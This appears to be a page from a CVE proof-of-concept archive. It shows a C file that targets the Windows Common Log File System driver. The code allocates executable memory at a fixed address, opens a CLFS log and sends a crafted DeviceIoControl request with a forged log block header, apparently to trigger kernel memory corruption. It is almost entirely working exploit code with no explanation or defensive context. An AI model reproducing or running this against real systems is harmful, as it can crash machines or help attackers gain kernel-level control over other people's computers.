4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.c C
#include <stdio.h>
#include <windows.h>
#include <clfsw32.h>
#pragma comment(lib, "Clfsw32.lib")
int main(void)

{

    VirtualAlloc(/* lpAddress = */ (LPVOID)0x400000000000, /* dwSize = */ 0x1000000,
        /* flAllocationType = MEM_RESERVE | MEM_COMMIT */ 0x3000,
        /* flProtect = PAGE_EXECUTE_READWRITE */ 0x40);

    HANDLE hLog = INVALID_HANDLE_VALUE;

    hLog = CreateLogFile(/* pszLogFileName = */ L"LOG:C:\\Users\\Public\\MyLog_3::Logstream",
        /* DesiredAccess = STANDARD_RIGHTS_ALL */ 0x1f0000,
        /* ShareAccess = FILE_SHARE_WRITE */ 2, /* psaLogFile = */ 0,
        /* CreateDisposition = FILE_OPEN */ 1,
        /* FileAttributes = FILE_ATTRIBUTE_ARCHIVE */ 0x20);

    typedef struct CLFS_WRITE_RESTART_INPUT {
        ULONGLONG CursorOrPos;
        ULONGLONG Param1;
        ULONGLONG Param2;
        CLFS_LSN  lsnBase;
        CLFS_LSN  lsnNext;
        BYTE InternalFlag;
    };
    typedef UCHAR CLFS_CLIENT_ID;
    typedef struct _CLFS_LOG_BLOCK_HEADER
    {
        UCHAR MajorVersion;
        UCHAR MinorVersion;
        UCHAR Usn;
        CLFS_CLIENT_ID ClientId;
        USHORT TotalSectorCount;
        USHORT ValidSectorCount;

        ULONG Padding;
        ULONG Checksum;

        ULONG Flags;
        CLFS_LSN CurrentLsn;
        CLFS_LSN NextLsn;
        ULONG RecordOffsets[16];
        ULONG SignaturesOffset;
    } CLFS_LOG_BLOCK_HEADER, * PCLFS_LOG_BLOCK_HEADER;


    CLFS_WRITE_RESTART_INPUT cwr;
    cwr.CursorOrPos = 0x10001;
    cwr.lsnBase.Internal = 0;
    cwr.lsnNext.Internal = 0xffffffff00000000;
    cwr.InternalFlag = 8;


    PCLFS_LOG_BLOCK_HEADER bh = (PCLFS_LOG_BLOCK_HEADER)0x4000000001c0;
    bh->Usn = 0x99;
    bh->TotalSectorCount = 2;
    bh->ValidSectorCount = 2;
    DeviceIoControl(/*hLogFile=*/hLog, /*dwIoControlCode=*/0x8007281f,
        /*lpInBuffer=*/&cwr, /*nInBufferSize=*/sizeof(cwr),
        /*lpOutBuffer=*/(LPVOID)bh, /*nOutBufferSize=*/0xe18,
        /*lpBytesReturned=*/0, /*lpOverlapped=*/0);
    return 0;
}